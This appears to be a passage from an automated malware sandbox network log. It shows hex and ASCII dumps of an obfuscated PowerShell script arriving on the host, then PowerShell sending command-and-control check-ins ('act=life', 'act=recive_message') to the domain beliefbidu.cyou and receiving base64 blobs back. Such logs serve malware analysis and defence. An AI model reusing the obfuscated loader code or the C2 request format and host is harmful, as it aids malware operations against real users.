2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 4a 75 6d 67 64 57 49 79 29 20 2a 20 24 58 78 58 57 44 4a 64 58 48 66 29 20 2b 20 32 39 35 33 32 29 29 29 20 2a 20 36 31 38 39 29 20 2a 20 24 42 44 6e 41 73 7a 29 20 2a 20 33 31 36 37 38 29 0d 0a 24 4f 70 6e 53 44 66 6d 42 6f 20 3d 20 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2a 20 39 35 30 38 38 30 29 20 2a 20 24 58 78 58 57 44 4a 64 58 48 66 29 0d 0a 24 59 62 59 44 6c 50 44 6d 68 20 3d 20 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2b 20 2d 35 36 38 39 37 29 20 2b 20 24 4a 75 6d 67 64 57 49 79 29 0d 0a 24 6c 46 56 6e 47 4c 52 51 56 20 3d 20 28 28 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2a 20 28 28 28 28 24 71 4a 68 4f 63 45 43 46 6e 57 20 2a 20 34 34 29 20 2d 20 33 30 38 35 36 29 20 2d 20 31 37 29 29 29 20 2b 20 24 57 4e 70 41 58 78 4a 76 29 20 2d 20 28 28 28 28 Data Ascii: JumgdWIy) * $XxXWDJdXHf) + 29532))) * 6189) * $BDnAsz) * 31678)$OpnSDfmBo = (($OpnSDfmBo * 950880) * $XxXWDJdXHf)$YbYDlPDmh = (($OpnSDfmBo + -56897) + $JumgdWIy)$lFVnGLRQV = (((($OpnSDfmBo * (((($qJhOcECFnW * 44) - 30856) - 17))) + $WNpAXxJv) - ((((
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 6b 61 29 29 29 20 2a 20 2d 33 33 35 32 29 20 2b 20 28 28 28 28 28 33 20 2a 20 24 42 44 6e 41 73 7a 29 20 2d 20 39 38 31 33 29 20 2d 20 35 39 39 35 30 37 29 20 2a 20 24 67 66 6e 61 4b 66 29 29 29 20 2d 20 32 32 30 36 33 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 28 24 4a 75 6d 67 64 57 49 79 20 2d 6e 65 20 24 6c 46 56 6e 47 4c 52 51 56 29 20 2d 61 6e 64 20 28 24 59 62 59 44 6c 50 44 6d 68 20 2d 67 74 20 2d 38 35 30 38 29 20 2d 61 6e 64 20 28 24 67 66 6e 61 4b 66 20 2d 67 65 20 24 4f 70 6e 53 44 66 6d 42 6f 29 20 2d 61 6e 64 20 28 24 59 62 59 44 6c 50 44 6d 68 20 2d 65 71 20 2d 35 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 61 50 4f 72 64 43 42 51 20 3d 20 28 28 28 2d 33 38 31 20 2d 20 28 28 28 28 33 35 39 33 38 39 20 2b 20 24 43 6f 68 53 7a 66 Data Ascii: ka))) * -3352) + (((((3 * $BDnAsz) - 9813) - 599507) * $gfnaKf))) - 22063) } if (($JumgdWIy -ne $lFVnGLRQV) -and ($YbYDlPDmh -gt -8508) -and ($gfnaKf -ge $OpnSDfmBo) -and ($YbYDlPDmh -eq -5)) { $aPOrdCBQ = (((-381 - ((((359389 + $CohSzf
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 54 52 4a 62 4a 66 66 29 29 29 20 2b 20 28 28 28 28 2d 38 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 20 2b 20 39 35 34 29 20 2b 20 38 34 30 30 29 29 29 20 2d 20 24 4f 70 6e 53 44 66 6d 42 6f 29 29 20 2a 20 28 28 31 32 36 20 2b 20 28 28 28 28 28 24 70 51 6a 64 69 77 6d 20 2a 20 24 71 4a 68 4f 63 45 43 46 6e 57 29 20 2d 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 29 20 2a 20 2d 36 33 38 29 20 2d 20 37 32 32 32 29 29 29 20 2a 20 28 28 28 24 57 4e 70 41 58 78 4a 76 20 2b 20 2d 34 39 32 29 20 2a 20 36 37 31 36 38 29 29 29 29 29 29 0d 0a 69 66 20 28 28 38 31 30 35 20 2d 67 65 20 35 33 37 31 29 20 2d 6f 72 20 28 24 75 76 52 41 42 45 41 70 5a 20 2d 67 74 20 24 74 6f 7a 73 78 41 65 79 51 29 20 2d 6f 72 20 28 2d 31 33 31 20 2d 67 74 20 2d 35 30 37 32 29 20 2d 6f 72 20 28 Data Ascii: TRJbJff))) + ((((-8 + $uvRABEApZ) + 954) + 8400))) - $OpnSDfmBo)) * ((126 + ((((($pQjdiwm * $qJhOcECFnW) - $hSwbnGUYokv) * -638) - 7222))) * ((($WNpAXxJv + -492) * 67168))))))if ((8105 -ge 5371) -or ($uvRABEApZ -gt $tozsxAeyQ) -or (-131 -gt -5072) -or (
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 39 39 37 29 29 20 2b 20 28 28 28 2d 39 33 39 20 2d 20 28 28 28 28 24 4a 75 6d 67 64 57 49 79 20 2d 20 37 31 36 30 38 29 20 2a 20 24 6d 61 6f 6f 58 59 79 4d 44 29 20 2b 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 29 29 29 20 2d 20 24 55 4e 6b 79 49 7a 6d 74 78 63 69 29 20 2a 20 28 28 28 28 28 28 2d 31 33 36 20 2b 20 24 43 6f 68 53 7a 66 5a 29 20 2b 20 2d 37 35 37 30 36 38 29 20 2b 20 24 58 78 58 57 44 4a 64 58 48 66 29 20 2a 20 2d 34 32 39 30 29 20 2d 20 24 59 62 59 44 6c 50 44 6d 68 29 29 29 29 0d 0a 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 28 28 28 28 24 74 6f 7a 73 78 41 65 79 51 20 2b 20 24 76 46 74 63 6f 55 6b 61 29 20 2b 20 28 28 28 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2b 20 28 28 28 31 35 20 2b 20 24 Data Ascii: 997)) + (((-939 - (((($JumgdWIy - 71608) * $maooXYyMD) + $hSwbnGUYokv))) - $UNkyIzmtxci) * ((((((-136 + $CohSzfZ) + -757068) + $XxXWDJdXHf) * -4290) - $YbYDlPDmh))))} else { $hSwbnGUYokv = (((((($tozsxAeyQ + $vFtcoUka) + ((((($OpnSDfmBo + (((15 + $
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 76 20 2b 20 2d 36 37 36 39 35 29 20 2b 20 24 58 78 58 57 44 4a 64 58 48 66 29 20 2a 20 24 70 51 6a 64 69 77 6d 29 20 2b 20 24 72 49 68 74 72 62 58 71 51 6d 29 20 2a 20 24 4a 75 6d 67 64 57 49 79 29 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 24 54 56 6a 50 64 7a 77 58 6d 7a 2d 2d 0d 0a 7d 0d 0a 24 78 43 57 78 58 77 78 20 3d 20 28 28 28 2d 32 30 30 20 2a 20 34 38 35 38 34 29 20 2b 20 24 78 43 57 78 58 77 78 29 20 2d 20 24 70 51 6a 64 69 77 6d 29 0d 0a 24 76 46 74 63 6f 55 6b 61 20 3d 20 28 28 28 28 28 28 28 24 72 49 68 74 72 62 58 71 51 6d 20 2d 20 2d 32 29 20 2b 20 24 43 6f 68 53 7a 66 5a 29 20 2d 20 35 35 34 38 37 29 20 2b 20 24 57 4e 70 41 58 78 4a 76 29 20 2d 20 2d 39 38 37 33 29 29 20 2a 20 28 28 28 28 39 20 2b 20 24 7a 46 50 64 4a 64 4a 47 43 7a 73 29 Data Ascii: v + -67695) + $XxXWDJdXHf) * $pQjdiwm) + $rIhtrbXqQm) * $JumgdWIy)) } $TVjPdzwXmz--}$xCWxXwx = (((-200 * 48584) + $xCWxXwx) - $pQjdiwm)$vFtcoUka = ((((((($rIhtrbXqQm - -2) + $CohSzfZ) - 55487) + $WNpAXxJv) - -9873)) * ((((9 + $zFPdJdJGCzs)
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2d 20 24 42 44 6e 41 73 7a 29 20 2a 20 24 6c 46 56 6e 47 4c 52 51 56 29 20 2b 20 33 39 35 38 29 29 20 2b 20 28 28 28 31 30 20 2d 20 31 36 34 29 20 2b 20 2d 37 33 38 32 29 20 2b 20 2d 32 38 29 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 28 2d 33 38 36 39 35 20 2d 6c 65 20 24 43 6f 68 53 7a 66 5a 29 20 2d 6f 72 20 28 2d 38 31 30 36 31 20 2d 67 65 20 2d 34 30 32 29 20 2d 6f 72 20 28 24 42 44 6e 41 73 7a 20 2d 67 74 20 2d 33 36 30 33 36 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 28 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2d 20 31 39 30 33 35 29 20 2b 20 28 28 28 2d 34 20 2a 20 2d Data Ascii: $hSwbnGUYokv = ((((($uvRABEApZ - $BDnAsz) * $lFVnGLRQV) + 3958)) + (((10 - 164) + -7382) + -28)) } if ((-38695 -le $CohSzfZ) -or (-81061 -ge -402) -or ($BDnAsz -gt -36036)) { $hSwbnGUYokv = ((((($OpnSDfmBo - 19035) + (((-4 * -
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 34 29 20 2b 20 24 79 4e 65 71 50 4a 49 29 20 2d 20 2d 36 35 35 36 32 29 20 2b 20 24 79 4e 65 71 50 4a 49 29 0d 0a 7d 0d 0a 24 4f 45 54 4c 6e 75 63 51 78 66 6d 20 3d 20 32 0d 0a 77 68 69 6c 65 20 28 24 4f 45 54 4c 6e 75 63 51 78 66 6d 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 28 34 34 39 20 2d 6c 74 20 24 74 6f 7a 73 78 41 65 79 51 29 20 2d 61 6e 64 20 28 31 36 32 38 30 39 20 2d 6c 74 20 24 70 51 6a 64 69 77 6d 29 20 2d 61 6e 64 20 28 24 71 4a 68 4f 63 45 43 46 6e 57 20 2d 6c 74 20 35 29 20 2d 61 6e 64 20 28 2d 39 32 20 2d 6c 74 20 24 43 68 6a 76 77 70 53 5a 42 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 4a 75 6d 67 64 57 49 79 20 3d 20 28 28 28 33 34 33 32 31 20 2b 20 31 32 29 20 2b 20 2d 33 35 29 20 2b 20 28 28 28 24 4f 70 6e 53 44 66 6d Data Ascii: 4) + $yNeqPJI) - -65562) + $yNeqPJI)}$OETLnucQxfm = 2while ($OETLnucQxfm -gt 0) { if ((449 -lt $tozsxAeyQ) -and (162809 -lt $pQjdiwm) -and ($qJhOcECFnW -lt 5) -and (-92 -lt $ChjvwpSZB)) { $JumgdWIy = (((34321 + 12) + -35) + ((($OpnSDfm
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 29 0d 0a 24 5a 54 6a 4d 61 6e 20 3d 20 28 28 28 28 24 52 50 45 50 44 74 68 20 2a 20 2d 37 36 36 33 37 29 20 2b 20 28 28 28 35 35 39 32 35 30 20 2d 20 24 7a 46 50 64 4a 64 4a 47 43 7a 73 29 20 2d 20 2d 39 38 34 39 29 29 29 20 2d 20 24 79 4e 65 71 50 4a 49 29 20 2a 20 28 28 28 28 28 28 32 37 36 20 2a 20 24 68 54 52 4a 62 4a 66 66 29 20 2a 20 2d 37 35 35 37 32 36 29 20 2b 20 36 35 37 38 36 29 20 2a 20 36 35 30 29 20 2d 20 34 35 30 34 29 29 29 0d 0a 69 66 20 28 28 24 55 4e 6b 79 49 7a 6d 74 78 63 69 20 2d 65 71 20 32 34 32 32 29 20 2d 61 6e 64 20 28 2d 36 39 36 36 32 20 2d 6c 65 20 24 52 50 45 50 44 74 68 29 29 20 7b 0d 0a 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 37 32 20 2a 20 24 79 4e 65 71 50 4a 49 29 20 2d 20 32 29 0d 0a 7d 20 65 6c Data Ascii: )$ZTjMan = (((($RPEPDth * -76637) + (((559250 - $zFPdJdJGCzs) - -9849))) - $yNeqPJI) * ((((((276 * $hTRJbJff) * -755726) + 65786) * 650) - 4504)))if (($UNkyIzmtxci -eq 2422) -and (-69662 -le $RPEPDth)) { $hSwbnGUYokv = ((72 * $yNeqPJI) - 2)} el
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 29 29 20 7b 0d 0a 20 20 20 20 24 52 50 45 50 44 74 68 20 3d 20 28 28 28 28 24 75 58 46 58 56 74 47 4c 47 79 20 2a 20 2d 38 38 29 20 2d 20 24 79 4e 65 71 50 4a 49 29 20 2a 20 38 29 20 2d 20 28 28 28 28 28 33 20 2a 20 36 29 20 2d 20 24 75 58 46 58 56 74 47 4c 47 79 29 29 20 2d 20 28 28 28 28 28 24 43 6f 68 53 7a 66 5a 20 2b 20 2d 35 33 32 34 31 29 20 2a 20 38 29 20 2a 20 24 71 4a 68 4f 63 45 43 46 6e 57 29 20 2a 20 24 59 62 59 44 6c 50 44 6d 68 29 20 2b 20 24 79 4e 65 71 50 4a 49 29 29 29 29 0d 0a 7d 0d 0a 69 66 20 28 28 24 7a 46 50 64 4a 64 4a 47 43 7a 73 20 2d 6c 74 20 2d 39 33 29 20 2d 61 6e 64 20 28 36 30 20 2d 6c 65 20 24 61 50 4f 72 64 43 42 51 29 20 2d 61 6e 64 20 28 24 6c 46 56 6e 47 4c 52 51 56 20 2d 67 65 20 32 32 29 20 2d 61 6e 64 20 28 33 31 38 Data Ascii: )) { $RPEPDth = (((($uXFXVtGLGy * -88) - $yNeqPJI) * 8) - (((((3 * 6) - $uXFXVtGLGy)) - ((((($CohSzfZ + -53241) * 8) * $qJhOcECFnW) * $YbYDlPDmh) + $yNeqPJI))))}if (($zFPdJdJGCzs -lt -93) -and (60 -le $aPOrdCBQ) -and ($lFVnGLRQV -ge 22) -and (318

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	49818	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:15 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: beliefbidu.cyou
2025-01-10 19:51:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-10 19:51:15 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g579jdkl40icgafgbat066ncov; expires=Tue, 06 May 2025 13:37:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MkQ93IDmPFD%2FuibMg6U1d4cfCBaN4HrUw%2Fpcy5t7oJVuavIIdl9At9%2FMtk%2F8DQD46OVCHhZOrj%2F%2BJmCKaMn2iOhSL9iEeVP2iVsF9cAoM4E%2BDZpIi94RnwZUi5laPjX9KOg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff335f6e650f83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1479&min_rtt=1467&rtt_var=575&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1864623&cwnd=230&unsent_bytes=0&cid=601b234281e3349a&ts=481&x=0"
2025-01-10 19:51:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-10 19:51:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	49819	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:15 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: beliefbidu.cyou
2025-01-10 19:51:15 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--SHELLS&j=aa77e78b6b0dd1b2226e7b799532ab3a
2025-01-10 19:51:16 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1p1h1d63ou9fm03l0rsrglnod9; expires=Tue, 06 May 2025 13:37:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R4Bih18dnqpHFQByc3HF5jINndeKLXqrA3GJ%2FnJ%2FfFslGjgbsQtUM2BBEas1QI3J3txMWm32O%2BeiljZ4jvfzTIS8SmuMOHk1cNPn2xylLlgTc0T%2BCT8ktehf9%2BRYTofmLIk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff3365591f429a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&min_rtt=1722&rtt_var=658&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=979&delivery_rate=1645997&cwnd=237&unsent_bytes=0&cid=66f512c850c9167c&ts=520&x=0"
2025-01-10 19:51:16 UTC	242	IN	Data Raw: 32 34 65 65 0d 0a 4e 44 2b 48 4f 44 2f 31 44 49 41 65 48 63 59 34 65 4b 72 33 33 43 58 39 35 6a 63 39 2f 6a 76 54 6e 32 36 35 6b 56 7a 2b 4c 78 6c 50 48 66 45 61 42 63 45 67 6f 6d 31 34 35 41 49 65 79 35 75 76 51 4e 48 45 56 6c 6e 63 41 62 58 2b 41 73 72 30 63 4e 78 5a 64 42 59 46 34 56 6c 54 68 6d 6d 73 50 48 69 2b 47 6b 4c 78 6a 50 35 41 6b 38 51 4e 48 35 74 52 73 66 34 43 32 2f 41 33 6b 56 39 31 56 31 66 72 58 31 65 51 62 2b 52 2f 63 61 74 64 48 63 2b 57 74 6b 75 55 69 31 39 51 33 42 66 78 2b 68 53 62 71 33 36 7a 53 6d 31 56 63 75 5a 4c 56 4e 64 78 72 47 55 2f 6f 31 5a 61 6b 4e 57 39 51 4a 2b 4b 55 56 6d 56 55 37 76 33 43 74 72 31 4e 6f 35 47 66 31 78 58 35 56 78 57 6d 6d 62 77 63 6e 75 73 56 68 76 46 6c 76 34 4a Data Ascii: 24eeND+HOD/1DIAeHcY4eKr33CX95jc9/jvTn265kVz+LxlPHfEaBcEgom145AIey5uvQNHEVlncAbX+Asr0cNxZdBYF4VlThmmsPHi+GkLxjP5Ak8QNH5tRsf4C2/A3kV91V1frX1eQb+R/catdHc+WtkuUi19Q3Bfx+hSbq36zSm1VcuZLVNdxrGU/o1ZakNW9QJ+KUVmVU7v3Ctr1No5Gf1xX5VxWmmbwcnusVhvFlv4J
2025-01-10 19:51:16 UTC	1369	IN	Data Raw: 33 34 4e 4e 48 38 51 5a 34 73 38 50 79 75 49 72 6b 56 31 39 46 6b 4b 72 51 78 32 51 59 71 49 6b 50 36 78 57 46 4d 32 57 73 55 43 65 68 45 64 51 6e 46 71 35 39 51 6a 52 2f 44 47 54 51 33 46 52 56 65 78 64 55 70 42 6d 35 48 4e 38 35 42 52 61 7a 34 33 2b 48 39 2b 6b 52 56 79 66 54 62 7a 73 54 4d 53 39 4a 39 78 4b 64 78 59 46 70 56 78 54 6c 6d 50 69 62 6e 65 76 55 52 2f 61 6e 72 64 4b 6b 6f 52 59 56 5a 4e 61 73 66 6f 47 30 66 77 30 6d 45 42 32 55 46 33 6c 47 68 50 58 61 66 6f 38 4a 2b 52 35 48 39 69 53 73 6c 48 64 76 68 56 41 30 6b 44 78 2b 67 43 62 71 33 36 55 53 48 68 56 56 75 70 5a 56 5a 78 38 34 6d 35 35 71 56 38 49 7a 70 43 77 54 5a 79 57 58 31 47 61 57 72 6a 32 42 64 37 30 4f 74 77 44 4f 31 46 46 70 51 49 64 74 6d 50 70 63 48 57 7a 57 6c 72 58 32 36 63 Data Ascii: 34NNH8QZ4s8PyuIrkV19FkKrQx2QYqIkP6xWFM2WsUCehEdQnFq59QjR/DGTQ3FRVexdUpBm5HN85BRaz43+H9+kRVyfTbzsTMS9J9xKdxYFpVxTlmPibnevUR/anrdKkoRYVZNasfoG0fw0mEB2UF3lGhPXafo8J+R5H9iSslHdvhVA0kDx+gCbq36USHhVVupZVZx84m55qV8IzpCwTZyWX1GaWrj2Bd70OtwDO1FFpQIdtmPpcHWzWlrX26c
2025-01-10 19:51:16 UTC	1369	IN	Data Raw: 56 57 61 56 72 7a 78 54 4a 57 7a 4f 59 51 4e 49 78 5a 33 35 6b 35 65 6e 53 7a 58 66 33 47 71 58 51 79 49 69 76 42 65 33 34 4e 5a 48 38 51 5a 76 50 77 45 33 65 45 78 6b 55 35 31 57 46 4c 67 56 56 57 58 62 75 39 35 65 36 39 52 47 63 57 52 72 45 32 66 6a 46 42 65 6c 6c 50 78 73 30 7a 63 36 33 37 45 44 55 70 42 56 71 64 76 58 70 6c 67 35 57 6f 2f 75 78 51 44 69 4a 4b 79 42 38 66 45 57 46 65 5a 58 4c 37 38 42 74 58 32 4e 4a 42 46 64 56 56 50 36 6c 35 64 6d 32 62 6f 63 58 47 67 55 68 50 44 6e 72 68 48 6e 6f 34 56 45 64 78 65 71 62 31 55 6d 38 63 35 6b 45 42 30 46 47 6a 6d 56 46 4f 51 65 4b 4a 6a 4d 62 30 61 48 63 54 56 35 67 65 54 6a 56 56 55 6c 6c 32 78 2b 67 48 65 38 44 6d 66 51 48 78 63 55 2b 4a 65 55 5a 35 6a 35 48 78 34 6f 46 38 49 7a 5a 79 79 53 39 2f 4b Data Ascii: VWaVrzxTJWzOYQNIxZ35k5enSzXf3GqXQyIivBe34NZH8QZvPwE3eExkU51WFLgVVWXbu95e69RGcWRrE2fjFBellPxs0zc637EDUpBVqdvXplg5Wo/uxQDiJKyB8fEWFeZXL78BtX2NJBFdVVP6l5dm2bocXGgUhPDnrhHno4VEdxeqb1Um8c5kEB0FGjmVFOQeKJjMb0aHcTV5geTjVVUll2x+gHe8DmfQHxcU+JeUZ5j5Hx4oF8IzZyyS9/K
2025-01-10 19:51:16 UTC	1369	IN	Data Raw: 62 2f 35 45 7a 63 2f 33 37 45 44 58 4a 66 54 2b 74 55 56 4a 70 6f 36 6e 74 78 71 56 45 63 77 35 4b 35 51 5a 4b 4d 57 46 71 66 57 4c 58 33 48 74 6a 34 4e 4a 46 48 4f 78 67 64 34 6b 49 64 7a 79 37 46 63 46 61 30 51 51 6a 65 31 61 45 4a 68 73 52 53 55 39 77 42 38 66 34 44 30 76 77 32 6c 45 4a 30 55 6c 50 6a 58 46 43 53 59 65 68 75 64 36 70 58 45 63 65 65 72 45 65 53 67 46 6c 62 6c 46 4b 37 76 55 4b 62 39 43 62 63 46 54 74 6a 55 4f 70 61 58 6f 45 75 2f 54 4a 6d 35 46 30 57 69 4d 33 2b 53 35 47 45 57 6c 4f 51 55 72 6e 38 41 4e 58 30 4f 35 56 46 63 30 52 63 34 56 4a 63 6d 57 48 6a 65 48 71 68 58 68 33 4d 6b 37 45 48 30 63 52 53 52 39 77 42 38 64 49 72 37 72 45 66 70 67 31 6b 47 45 53 6c 58 56 48 58 4e 71 4a 77 66 4b 68 53 46 63 36 63 73 6b 32 57 6a 31 6c 55 6d Data Ascii: b/5Ezc/37EDXJfT+tUVJpo6ntxqVEcw5K5QZKMWFqfWLX3Htj4NJFHOxgd4kIdzy7FcFa0QQje1aEJhsRSU9wB8f4D0vw2lEJ0UlPjXFCSYehud6pXEceerEeSgFlblFK7vUKb9CbcFTtjUOpaXoEu/TJm5F0WiM3+S5GEWlOQUrn8ANX0O5VFc0Rc4VJcmWHjeHqhXh3Mk7EH0cRSR9wB8dIr7rEfpg1kGESlXVHXNqJwfKhSFc6csk2Wj1lUm
2025-01-10 19:51:16 UTC	1369	IN	Data Raw: 4a 31 50 49 2f 6d 6c 39 38 58 30 2f 72 56 31 4b 66 5a 75 74 39 65 36 46 58 48 4d 53 66 76 30 43 52 69 6c 30 66 30 68 6d 32 35 55 79 44 73 78 2b 4d 56 6d 6c 41 55 4d 52 58 55 74 64 78 72 47 55 2f 6f 31 5a 61 6b 4e 57 33 56 5a 75 4a 52 31 61 62 56 37 37 2b 48 74 72 2b 4e 59 35 4b 64 46 4a 61 36 56 78 53 6b 57 2f 6e 64 6e 4f 6a 58 78 48 48 6d 66 34 4a 33 34 4e 4e 48 38 51 5a 6e 2f 59 66 7a 50 41 77 6c 31 74 67 46 6b 4b 72 51 78 32 51 59 71 49 6b 50 36 64 52 45 63 79 56 73 6b 65 62 69 56 56 4e 6b 31 36 32 39 41 66 4a 2b 54 6d 62 52 6e 4e 64 55 75 4e 49 55 5a 6c 38 35 32 35 74 35 42 52 61 7a 34 33 2b 48 39 2b 79 55 6b 2b 4d 57 76 50 4d 47 74 6a 6c 4e 5a 46 42 4f 30 6b 54 2f 42 70 61 6d 79 36 36 50 48 6d 72 55 78 6e 48 6c 4c 64 4c 6b 6f 46 63 57 70 31 66 74 66 Data Ascii: J1PI/ml98X0/rV1KfZut9e6FXHMSfv0CRil0f0hm25UyDsx+MVmlAUMRXUtdxrGU/o1ZakNW3VZuJR1abV77+Htr+NY5KdFJa6VxSkW/ndnOjXxHHmf4J34NNH8QZn/YfzPAwl1tgFkKrQx2QYqIkP6dREcyVskebiVVNk1629AfJ+TmbRnNdUuNIUZl8525t5BRaz43+H9+yUk+MWvPMGtjlNZFBO0kT/Bpamy66PHmrUxnHlLdLkoFcWp1ftf
2025-01-10 19:51:16 UTC	1369	IN	Data Raw: 4a 64 78 53 4e 55 38 64 34 6c 59 64 7a 79 37 68 65 33 79 6c 55 42 50 45 6d 72 6c 44 6a 59 35 53 54 5a 31 59 75 76 41 41 32 2f 34 7a 6c 6b 78 79 57 31 48 6f 58 56 71 59 61 36 49 79 50 36 4e 43 57 70 44 56 6e 30 71 55 69 41 34 46 33 45 62 2f 35 45 7a 63 2f 33 37 45 44 58 74 63 57 4f 39 58 58 70 68 74 38 48 31 35 74 6c 6f 58 77 6f 65 30 54 4a 71 4a 57 46 4b 66 58 37 66 32 41 4d 6e 36 50 70 39 47 4f 78 67 64 34 6b 49 64 7a 79 37 42 61 32 6d 75 58 52 62 65 6e 72 39 45 69 59 6c 46 48 39 49 5a 6f 50 6f 64 6d 36 73 6f 6a 46 70 38 53 52 50 38 47 6c 71 62 4c 72 6f 38 65 61 31 63 48 63 36 62 72 45 4b 5a 69 31 70 57 6c 56 32 35 2f 67 7a 66 39 7a 6d 5a 54 6e 64 64 57 75 5a 56 57 5a 35 67 36 33 4d 2f 36 68 6f 64 30 4e 58 6d 42 37 36 66 56 6c 4f 52 47 61 36 7a 46 5a 76 Data Ascii: JdxSNU8d4lYdzy7he3ylUBPEmrlDjY5STZ1YuvAA2/4zlkxyW1HoXVqYa6IyP6NCWpDVn0qUiA4F3Eb/5Ezc/37EDXtcWO9XXpht8H15tloXwoe0TJqJWFKfX7f2AMn6Pp9GOxgd4kIdzy7Ba2muXRbenr9EiYlFH9IZoPodm6sojFp8SRP8GlqbLro8ea1cHc6brEKZi1pWlV25/gzf9zmZTnddWuZVWZ5g63M/6hod0NXmB76fVlORGa6zFZv
